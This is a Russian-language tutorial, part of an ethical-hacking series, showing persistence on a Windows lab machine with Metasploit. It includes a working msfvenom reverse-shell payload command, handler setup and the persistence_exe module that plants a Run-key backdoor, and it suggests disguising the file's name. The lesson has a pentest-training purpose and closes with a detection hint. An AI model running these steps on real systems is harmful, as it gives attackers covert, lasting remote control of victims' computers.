Приветствую тебя, дорогой читатель, в седьмой части серии статей «Приручение черного дракона. Этичный хакинг с Kali Linux».
Полный список статей прилагается ниже, и будет дополняться по мере появления новых.
Приручение черного дракона. Этичный хакинг с Kali Linux:
Часть 1. Вводная часть. Подготовка рабочего стенда.
Часть 3. Footprinting. Разведка и сбор информации.
Часть 4. Сканирование и типы сканирования. Погружение в nmap.
Часть 5. Методы получения доступа к системе.
Часть 6. Пост-эксплуатация. Способы повышения привилегий.
Часть 7. Пост-эксплуатация. Закрепление в системе.
В прошлой статье мы начали знакомство с темой пост-эксплуатации скомпрометированной системы, а именно, с методами эскалации привилегий до суперпользователя в Unix-подобных системах. В этот раз мы поговорим о такой важной части пост-эксплуатации, как закрепление в скомпрометированной системе с возможностью обеспечения надежного повторного входа в нее даже после перезагрузки.
Представим, что нам удалось получить оболочку Meterpreter проэксплуатировав какую-то уязвимость в системе, либо ПО установленном в ней. В том случае, если не предпринять более никаких действий, то после перезагрузки целевой системы мы обнаружим, что наша сессия Meterpreter отвалилась. Вполне возможно, что перезагрузка была плановая и в системе установились какие-то обновления безопасности, которые закрыли старую брешь и наш эксплоит уже не представляет никакой угрозы для нее. Тогда можно применить социальную инженерию и подсунуть пользователю зараженный файл с полезной нагрузкой типа hidden_reverse_tcp, который после запуска и брандмауэр обойдет незаметно и в системе скроется так, что даже завершение процесса не даст нам потерять сессию. Но опять же, все это до ближайшей перезагрузки системы. И тут, естественно, если рассматривать ситуацию с точки зрения злоумышленника, первое, что он попытается сделать после успешного проникновения — закрепиться в системе, дабы не потерять к ней доступа ни при каких обстоятельствах.
В наборе фреймворка Metasploit имеется специальный модуль для подобных целей. Разумеется, уже давно существуют и более продвинутые техники, позволяющие не только надежно закрепиться в системе, но и скрывать свое присутствие в ней. Однако, задача данной серии статей научить тебя проводить тестирование на проникновение, с моделированием действий злоумышленника, так что акцентироваться на анонимности мы не будем. И так, рассмотрим пример, в котором мы установим на скомпрометированной системе под управлением MS Windows исполняемый файл с Meterpreter, который будет автоматически запускаться при каждой загрузке системы.
![](https://habrastorage.org/getpro/habr/upload_files/324/36f/cbe/32436fcbe7ec3be1c3ee5ef6ca2cd95d.png)
Запускаем машины с Kali и ОС Windows, которую установили в прошлой части. Если на машине есть антивирус, то отключаем его на момент скачивания и запуска файла содержащего полезную нагрузку.
В терминальном окне Kali запускаем msfvenom и генерируем пейлоад под windows сохраняя его в директорию веб сервера
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.11.153 lport=4444 -f exe > /var/www/html/runme.exe
Запускаем Apache сервер и переходим в машину на Windows. Скачиваем файл runme.exe с веб-сервера и запускаем его.
![](https://habrastorage.org/getpro/habr/upload_files/ea4/adf/3bc/ea4adf3bc49d5871b8b556f74c0ee575.png)
![](https://habrastorage.org/getpro/habr/upload_files/965/dd8/60d/965dd860d0c8af9bb012aab479ab70b2.png)
Далее запускаем в msfconsole exploit/multi/handler и настраиваем следующие параметры:
set LHOST 192.168.11.153
(адрес машины с Kali)set payload payload/windows/meterpreter/reverse_tcp
run
![](https://habrastorage.org/getpro/habr/upload_files/c24/58d/e1b/c2458de1bd822946384c798df232e117.png)
Мы получили удаленную сессию Meterpreter. Теперь, нам необходимо переключить нашу сессию в фоновый режим командой background и применить один из модулей для пост-эксплуации из арсенала MSF. Называется он post/windows/manage/persistence_exe.
Данный модуль загружает исполняемый файл на целевую машину и создает таким образом постоянный бэкдор. Он может быть установлен как пользователь (USER), система (SYSTEM) или служба (SERVICE). И так, находим нужный модуль в базе metasploit, применяем его и настраиваем необходимые параметры:
set REXEPATH /var/www/html/runme.exe
– указываем путь к исполняемому файлу с полезной нагрузкой;set SESSION 1
— указываем идентификатор открытой в фоне сессии;run
— запускаем модуль.
![](https://habrastorage.org/getpro/habr/upload_files/9b3/b9b/24f/9b3b9b24f52381650203af37a35d54f6.png)
Давай теперь разберемся в том, что тут у нас происходит. После запуска модуля, он считывает полезную нагрузку с файла runme.exe расположенного в директории нашего веб-сервера. Далее, он запускает скрипт, который через существующую сессию записывает исполняемый файл default.exe (имя при желании можно поменять на что-то вроде win32sys.exe) в директорию C:\Users\Пользователь\AppData\Local\Temp\. После чего в реестр прописывается параметр добавляющий его в автозагрузку. Путь в реестре к нему следующий: HKEY_CURRENT_USER/software/microsoft/windows/currentversion/run/
![](https://habrastorage.org/getpro/habr/upload_files/185/843/33e/18584333ea73e5de0fb924918c58b9d3.png)
Сразу же после выполнения скрипта модулем, мы получаем постоянный бэкдор к скомпрометированной системе. Запустим в MSF снова модуль handler и настроим его:
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.11.153
(IP адрес машины с Kali)
set lport 4444
run
![](https://habrastorage.org/getpro/habr/upload_files/c21/d25/e7f/c21d25e7f60d3b8eee3a7d53f40703c6.png)
Теперь самое время перезагрузить целевую машину и убедиться в том, что этот метод работает. Как видно на скрине, во время перезагрузки машины сессия meterpreter схлопывается. Тут мы потеряли сессию. Но после того, как система загрузилась, сессия возвращается.
![](https://habrastorage.org/getpro/habr/upload_files/e1e/590/11f/e1e59011f9b0742ea9ee667a59648c72.png)
Таким образом, злоумышленник может закрепиться в скомпрометированной системе. Так что, в случае чего, ты знаешь где искать в реестре подозрительные записи.) Напомню, что мы рассмотрели самый простой из способов создания постоянного доступа к машине под управлением ОС Windows, однако, и его вполне достаточно для того, чтобы показать принцип действия хакера во время пост-эксплуатации, и даже попытаться найти вручную нежелательные записи в реестре. На этом я прощаюсь с тобой, дорогой читатель, до новых встреч в следующих статьях серии «Приручение черного дракона. Этичный хакинг с Kali Linux».
![](https://habrastorage.org/getpro/habr/upload_files/0a4/525/056/0a45250562d345019d13121de2273d62.png)